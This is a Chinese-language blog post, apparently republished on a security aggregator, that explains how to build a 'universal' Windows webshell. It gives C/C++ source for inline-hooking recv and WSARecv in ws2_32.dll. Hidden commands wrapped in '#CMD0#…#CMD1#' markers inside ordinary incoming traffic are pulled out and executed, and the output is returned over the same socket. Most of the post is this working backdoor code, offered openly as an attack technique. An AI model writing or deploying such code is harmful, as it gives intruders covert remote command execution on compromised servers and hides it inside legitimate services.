利用 Hook 技术打造通用的 Webshell
Windows 上程序涉及网络 socket 操作,一般都会用到 winsock2 的库,程序会动态链接 ws2_32.dll ,JVM,Python,Zend 等解释器都不例外。winsock2 里 2021-06-25 18:04:40 Author: jayl1n.github.io(查看原文) 阅读量:225 收藏

Windows 上程序涉及网络 socket 操作,一般都会用到 winsock2 的库,程序会动态链接 ws2_32.dll ,JVM,Python,Zend 等解释器都不例外。

winsock2 里 socket 操作相关的函数 recv send closesocket 会编程的应该都不陌生。hook 掉 recv 函数就可以在程序处理接受到网络数据前,进入我们的处理逻辑早一步收到数据。

Inline Hook 是在程序运行时直接修改指令,插入跳转指令(jmp/call/retn)来控制程序执行流的一种技术。相比别的 Hook 技术,Inline Hook 优点是能跨平台,稳定,本文是以此技术实现的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#define START_BLOCK "#CMD0#"
#define END_BLOCK "#CMD1#"

DWORD dwInstSize = 12;
BYTE RecvEntryPointInst[12] = { 0x00 };
BYTE RecvEntryPointInstHook[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 };
BYTE WSARecvEntryPointInst[12] = { 0x00 };
BYTE WSARecvEntryPointInstHook[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 };

typedef int ( *PFNRecv )( SOCKET, char*, int, int );
typedef int ( *PFNSend )( SOCKET, char*, int, int );

typedef int ( *PFNWSARecv ) ( SOCKET, LPWSABUF, DWORD, LPDWORD, LPDWORD, LPWSAOVERLAPPED, LPWSAOVERLAPPED_COMPLETION_ROUTINE );
typedef int ( *PFNWSASend ) ( SOCKET, LPWSABUF, DWORD, LPDWORD, LPDWORD, LPWSAOVERLAPPED, LPWSAOVERLAPPED_COMPLETION_ROUTINE );

void InstallHook(LPCWSTR lpModule, LPCSTR lpFuncName, LPVOID lpFunction) {
DWORD_PTR FuncAddress = (UINT64) GetProcAddress(GetModuleHandleW(lpModule), lpFuncName);
DWORD OldProtect = 0;

if(VirtualProtect((LPVOID) FuncAddress, dwInstSize, PAGE_EXECUTE_READWRITE, &OldProtect))
{
if(!strcmp(lpFuncName, "recv")) {
memcpy(RecvEntryPointInst, (LPVOID) FuncAddress, dwInstSize);
*(PINT64) ( RecvEntryPointInstHook + 2 ) = (UINT64) lpFunction;
}
if(!strcmp(lpFuncName, "WSARecv")) {
memcpy(WSARecvEntryPointInst, (LPVOID) FuncAddress, dwInstSize);
*(PINT64) ( WSARecvEntryPointInstHook + 2 ) = (UINT64) lpFunction;
}
}

if(!strcmp(lpFuncName, "recv"))
memcpy((LPVOID) FuncAddress, &RecvEntryPointInstHook, sizeof(RecvEntryPointInstHook));
if(!strcmp(lpFuncName,"WSARecv"))
memcpy((LPVOID) FuncAddress, &WSARecvEntryPointInstHook, sizeof(WSARecvEntryPointInstHook));

VirtualProtect((LPVOID) FuncAddress, dwInstSize, OldProtect, &OldProtect);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
int WINAPI HookRecv(SOCKET s, char* buf, int len, int flags) {
UninstallHook(L"ws2_32.dll", "recv");

PFNRecv pfnRecv = (PFNRecv) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "recv");
PFNSend pfnSend = (PFNSend) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "send");
PFNClosesocket pfnClosesocket = (PFNClosesocket) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "closesocket");

int rc = pfnRecv(s, buf, len, flags);

char* startBlock = strstr(buf, START_BLOCK);
if(startBlock) {
char* endBlock = strstr(startBlock, END_BLOCK);
if(endBlock) {
std::string start_block = std::string(startBlock);
int endOffset = start_block.find(END_BLOCK, sizeof(START_BLOCK));
std::string cmd = start_block.substr(sizeof(START_BLOCK) - 1, start_block.size() - sizeof(START_BLOCK) - ( start_block.size() - endOffset ) + 1);

std::string output = WSTR2STR(ExecuteCmd(cmd));

pfnSend(s, (char*) output.c_str(), output.size(), 0);
pfnClosesocket(s);
}
}

InstallHook(L"ws2_32.dll", "recv", (LPVOID) HookRecv);

return rc;
}


int WINAPI HookWSARecv(SOCKET s, LPWSABUF lpBuffer, DWORD dwBufferCount, LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine) {

UninstallHook(L"ws2_32.dll", "WSARecv");

PFNWSARecv pfnWSARecv = (PFNWSARecv) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "WSARecv");
PFNWSASend pfnWSASend = (PFNWSASend) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "WSASend");
PFNClosesocket pfnClosesocket = (PFNClosesocket) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "closesocket");

int rc = pfnWSARecv(s, lpBuffer, dwBufferCount, lpNumberOfBytesRecvd, lpFlags, lpOverlapped, lpCompletionRoutine);

char* startBlock = strstr(lpBuffer->buf, START_BLOCK);
if(startBlock) {
char* endBlock = strstr(startBlock, END_BLOCK);
if(endBlock) {
std::string start_block = std::string(startBlock);
int endOffset = start_block.find(END_BLOCK, sizeof(START_BLOCK));
std::string cmd = start_block.substr(sizeof(START_BLOCK) - 1, start_block.size() - sizeof(START_BLOCK) - ( start_block.size() - endOffset ) + 1);

WSABUF outBuf;
std::string output = WSTR2STR(ExecuteCmd(cmd));
outBuf.buf = (char*) output.c_str();
outBuf.len = output.size();

pfnWSASend(s, &outBuf, 1, lpNumberOfBytesRecvd, 0, 0, 0);
pfnClosesocket(s);
}
}

InstallHook(L"ws2_32.dll", "WSARecv", (LPVOID) HookWSARecv);

return rc;
}

文章来源: https://jayl1n.github.io/2021/06/25/use-inlinehook-technology-to-make-a-more-general-webshell/
如有侵权请联系:admin#unsafe.sh